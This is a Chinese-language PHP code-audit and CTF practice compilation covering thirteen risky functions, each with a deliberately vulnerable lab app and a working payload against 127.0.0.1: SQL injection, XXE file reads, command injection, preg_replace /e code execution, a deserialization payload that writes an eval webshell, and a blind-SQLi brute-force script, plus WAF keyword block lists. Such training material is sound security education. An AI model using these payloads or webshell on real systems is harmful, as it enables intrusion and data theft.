0x01 in_array()

该函数的功能是检查数组中是否存在某个值,函数的定义如下

  1. bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

该函数存在的问题是如果文件名为7shell.php.因为PHP在使用in_array()函数判断时,会将7shell.php强制转换为数字7.
练习题目

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>
//config.php
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
?>
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

payload:http://127.0.0.1/day1/index.php?id=1%20and%20updatexml(1,make_set(3,%27~%27,(select%20flag%20from%20flag),%27~%27),3);,%27~%27),3);)
使用make_set的原因是因为concat被过滤了无法使用

0x02 filter_var()

该函数的功能是通过指定的过滤器过滤一个变量。

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

该函数存在的问题是 当使用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的URL,该函数可以绕过
绕过方法
0://“www.baidu.com
1://“|dir|baidu.com
可以使用无法识别的协议来绕过。该函数可以和 parse_url 配合使用。
练习题目

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

payload:http://127.0.0.1/day2/index.php?url=0://%22|type=flag.php||sec-redclub.com

0x03 class_exists

该函数的功能是检查类是否已定义,第二个参数作用是是否默认调用__autoload。函数原型

class_exists ( string $class_name [, bool $autoload = true ] ) : bool

该函数的利用方法一般要跟函数 __autoload 配合才能利用
练习题目(XXE读取)

// index.php
<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

payload:http://127.0.0.1/day3/?name=SimpleXMLElement&param=
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%3c%21%44%4f%43%54%59%50%45%20%63%72%65%64%73%20%5b%20%20%3c%21%45%4e%54%49%54%59%20%67%6f%6f%64%69%65%73%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%66%6c%61%67%2e%70%68%70%22%3e%20%5d%3e%3c%63%72%65%64%73%3e%26%67%6f%6f%64%69%65%73%3b%3c%2f%63%72%65%64%73%3e&param2=2

0x04 strpos

该函数的功能是查找字符串首次出现的位置。函数原型

int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

该函数存在的问题是如果字符串开头是我们要搜索的字符串,则会返回下标0。在有些代码中,有的只考虑了strpos等于false,却忽略了匹配到的字符串在首位会返回0的情况。
练习题目

<?php
    highlight_file(__FILE__);
    class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);
      }

    public function loginViaXml($user, $pass) {
        if (
          (!strpos($user, '<') || !strpos($user, '>')) &&
          (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {

            $format = '<?xml version="1.0" encoding="UTF-8"?>'.
            '<test>'.
            '<user v="%s"></user><pass v="%s"></pass>'.
            '</test>';

            $xml = sprintf($format, $user, $pass);
            $datas = new SimpleXMLElement($xml);
            $dom = dom_import_simplexml($datas);
            $dom->ownerDocument->xinclude();
            echo $dom->ownerDocument->saveXML();
        }
    }
}

new Login($_POST['username'], $_POST['password']);
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

Payload:http://127.0.0.1/day4/
Post:
username=>”><user v=”a&password=b
参考文章:https://blog.csdn.net/u014029795/article/details/104871611/
https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

0x05 escapeshellarg与escapeshellcmd

escapeshellarg的功能是将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)

string escapeshellarg ( string $arg )

看个例子就知道该函数的功能了。我在Windows上试的时候是加了双引号
image.png
image.png

<?php
var_dump(escapeshellarg($_GET[p]));
?>

escapeshellcmd的功能是对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

escapeshellcmd ( string $command ) : string

继续来看例子。我在Windows上做的时候是用空格做的替换

<?php
var_dump(escapeshellcmd($_GET[p]));
?>

image.png
image.png
如果参数先用escapeshellarg()处理再进行escapeshellcmd()处理时,则存在参数注入漏洞。
继续看例子吧

<?php
echo escapeshellcmd("ls --ignore=".escapeshellarg($_GET[c])." /tmp");
?>

在Window上&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF以及’ “都被转义为空格
image.png

0x06 正则使用不当导致的问题

练习题目(CTF向)

<?php
include 'flag.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;
        }
        if ($c < 3) break;
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>
// flag.php
<?php $flag = "HRCTF{Pr3g_R3plac3_1s_Int3r3sting}";?>

Payload:127.0.0.1/day6/index.php
post:password=4.20000000e+1

0x07 parse_str

该函数的功能是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

void parse_str( string $encoded_string [, array &$result ] )

如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
练习题目(条件竞争)

//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

payload:http://127.0.0.1/day7/index.php?id=a[0]=s878926199a
紧接着就是条件竞争的问题的。

0x08 preg_replace

该函数的功能是执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
$pattern 存在 /e 模式修正符,允许代码执行
/e 模式修正符,是 preg_replace() $replacement 当做php代码来执行
练习题目

<?php
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex => $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
?>

payload:127.0.0.1/day8/index.php?\S*=${phpinfo()}
参考文章:
https://mayi077.gitee.io/2020/03/22/preg-replace%E4%B8%8E%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://mayi077.gitee.io/2020/05/01/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-preg-replace%E5%87%BD%E6%95%B0%E4%B9%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
https://www.mi1k7ea.com/2019/07/02/%E6%B5%85%E6%9E%90preg-replace%E4%B8%8Epreg-match/
http://lz2y.top/index.php/2020/04/preg-replace/
https://blog.csdn.net/fastergohome/article/details/102514264
https://xz.aliyun.com/t/2557

0x09 str_replace

该函数的功能是函数替换字符串中的一些字符

mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

练习题目

// index.php
<?php  
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
    die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
    $msg = addslashes($_POST['msg']);
    $msg = replace_bad_word(convert($msg));
    $sql = "INSERT INTO users VALUES($id,'".$msg."')";
    $result = $conn->query($sql);
    if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
    <form action="index.php" method="post">
        <p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
    </form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
    while($row = $result->fetch_row()){
        echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
    }
    echo "</table></center>";
}
$conn->close();
?>
// function.php
<?php  
function replace_bad_word($str){
    global $limit_words;
    foreach ($limit_words as $old => $new) {
        strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
    }
    return $str;
}

function convert($str){
    return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

foreach (array('_GET','_POST') as $method) {
    foreach ($$method as $key => $value) {
        $$key = $value;
    }
}
?>
// config.php
<?php  
$servername = "localhost";
$username = "hongrisec";
$password = "hongrisec";
$dbname = "day9";
?>
# 搭建CTF环境使用的sql语句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');

payload:http://127.0.0.1/day9/index.php?limit_words[abcde]=’ or updatexml(1,concat(0x7e,(select * from flag)),0) or ‘
post:msg=abcde

0x10 exit

该函数的功能是退出程序
练习题目

// index.php
<?php
include 'config.php';
function stophack($string){
    if(is_array($string)){
        foreach($string as $key => $val) {
            $string[$key] = stophack($val);
        }
    }
    else{
        $raw = $string;
        $replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
        $string = str_ireplace($replace, "HongRi", $string);
        $string = strip_tags($string);
        if($raw!=$string){
            error_log("Hacking attempt.");
            header('Location: /error/');
        }
        return trim($string);
    }
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
    $id = stophack($_GET['id']);
    $sql = "SELECT * FROM students WHERE id=$id";
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
        +----+---------+--------------------+-------+
        | id | name    | email              | score |
        +----+---------+--------------------+-------+
        |  {$row['id']} | {$row['name']}   | {$row['email']}   |   {$row['score']} |
        +----+---------+--------------------+-------+</center>
EOF;
    }
}
else die("你所查询的对象id值不能为空!");
?>
// config.php
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day10";
?>
# 搭建CTF环境使用的sql语句
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );

INSERT INTO students VALUES(1,'Lucia','Lucia@hongri.com',100);
INSERT INTO students VALUES(2,'Danny','Danny@hongri.com',59);
INSERT INTO students VALUES(3,'Alina','Alina@hongri.com',66);
INSERT INTO students VALUES(4,'Jameson','Jameson@hongri.com',13);
INSERT INTO students VALUES(5,'Allie','Allie@hongri.com',88);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');

payload:http://127.0.0.1/day10/index.php?id=-1 union select 1,(select flag from flag),3,4

0x11 unserialize

该函数的功能是将序列化的内容反序列化

unserialize ( string $str ) : mixed

常见的魔术方法
PHP 将所有以 (两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 为前缀。

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

练习题目1

<?php
class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:' 
        && !preg_match('/O:\d:/', $data)) {
            var_dump($data);
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        var_dump($this->cacheFile);
        var_dump($this->template);
        $file = $file ?? $this->cacheFile;
        $tpl = $tpl ?? $this->template;
        file_put_contents($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

new Template($_COOKIE['data']);

payload

GET /day11/ HTTP/1.1
Host: 192.168.101.35
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: data=a:1:{i:0%3bO:%2b8:"Template":2:{s:9:"cacheFile"%3bs:11:"./shell.php"%3bs:8:"template"%3bs:25:"<?php eval($_POST[xx])%3b?>"%3b}}
Content-Length: 0
Connection: close

payload生成方法(需进行URL编码)

<?php
class Template {
    public $cacheFile = './shell.php';
    public $template = '<?php eval($_POST[xx]);?>';
}
$mytemp = new Template();
$myarray = array($mytemp);
$myarray = serialize($myarray);
print($myarray);

练习题目2

<?php
include "config.php";

class HITCON{
    public $method;
    public $args;
    public $conn;

    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->__conn();
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);
        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  users";
            $this->__query($sql, $back=false);
            $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

            $this->__query($sql, $back=false);
            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        }
        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->__query($sql);

        if ( $obj != false ) {
            define('IN_FLAG', TRUE);
            $this->loadData($obj->role);
        }
        else {
          $this->__die("sorry!");
        }
    }

    function loadData($data) {
        if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    function __die($msg) {
        $this->__close();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __destruct() {
        $this->__conn();
        if (in_array($this->method, array("login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->__die("What do you do?");
        }
        $this->__close();
    }

    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}
class SoFun{
    public $file='index.php';

    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }
    function __wakeup(){
        $this-> file='index.php';
    }
}
if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);
}
else {
    new HITCON("source", array());
}

?>
//config.php
<?php
    $db_host = 'localhost';
    $db_name = 'test';
    $db_user = 'root';
    $db_pass = '123';
    $DEBUG = 'xx';
?>
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";

?>

payload:
http://127.0.0.1/day11/?data=O:6:”HITCON”:3:{s:6:”method”;s:5:”login”;s:4:”args”;a:2:{s:8:”username”;s:84:”-1’ union select 1,2,’a:1:{s:2:”xx”;O:%2b5:”SoFun”:2:{s:4:”file”;s:8:”flag.php”;}}’—+”;s:8:”password”;s:1:”2”;}}
http://127.0.0.1/day11/?data=O:5:”SoFun”:3:{s:4:”file”;s:8:”flag.php”;s:3:”Luc”;O:6:”HITCON”:3:{s:6:”method”;s:5:”login”;s:4:”args”;a:2:{s:8:”username”;s:12:”1’ or 1=1—+”;s:8:”password”;s:3:”Luc”;}};}
注:使用+5可以绕过preg_match(‘/O:\d:/‘, $data))判断
参考文章:
https://www.cnblogs.com/Mrsm1th/p/6835592.html

0x12 htmlentities

该函数的功能是将字符转换为 HTML 转义字符

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

练习题目

<?php

$link = mysql_connect('localhost', 'root', 'root');

if(isset($_REQUEST['username'])){
    if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
        preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'],$a);
        var_dump($a);
        die("Attack detected!!!");
    }
}

if(isset($_REQUEST['password'])){
    if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
        die("Attack detected!!!");
    }
}

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);


$query='SELECT * FROM test.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

echo $query;

$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
    echo "<tr>";
    echo "<td>" . $row['name'] . "</td>";
    echo "</tr>";
}

?>
# Host: localhost  (Version: 5.5.53)
# Date: 2018-08-05 12:55:29
# Generator: MySQL-Front 5.3  (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "users"
#

DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

#
# Data for table "users"
#

/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{sql_Inject1on_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;

payload:http://127.0.0.1/day12/?username=\&password= union select 1,(select flag from test.users),3,4;%23
post:username=1&password=1
参考文章:https://mochazz.github.io/2018/09/30/PHP-Audit-Labs%E9%A2%98%E8%A7%A3%E4%B9%8BDay9-12/#%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86
https://github.com/CHYbeta/Code-Audit-Challenges/blob/master/php/challenge-50.md

0x13 addslashes

该函数的功能是在预定义字符之前添加反斜杠的字符串

string addslashes ( string $str )

练习题目

//index.php
<?php
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
  // 经过第一个waf处理
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
  // 业务处理
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>
//db.inc.php
<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="root";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
//ctf.sql
# Host: localhost  (Version: 5.5.53)
# Date: 2018-08-18 21:42:20
# Generator: MySQL-Front 5.3  (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "users"
#

DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

#
# Data for table "users"
#

/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{R3qu3st_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;

payload1:
http://127.0.0.1/day13/
post:i_d=1 and ascii(mid(flag,1,1))=104&submit=1
脚本

import requests

url = "http://127.0.0.1/day13/index.php"
flag = []

for i in range(1,31):
    for j in range(32,127):
        data = {
            "i_d": "1 and ascii(mid(`flag`,{},1))={}".format(i,j),
            "submit": "1"
        }
        res = requests.post(url,data=data)
        if "admin" in res.text:
            flag.append(chr(j))
            print("第{}个字符".format(i)+chr(j))

print(''.join(flag))

payload2
http://127.0.0.1/day13/?submit=1&i_d=-1//union//select//1,flag,3,4//from/**/ctf.users&i.d=2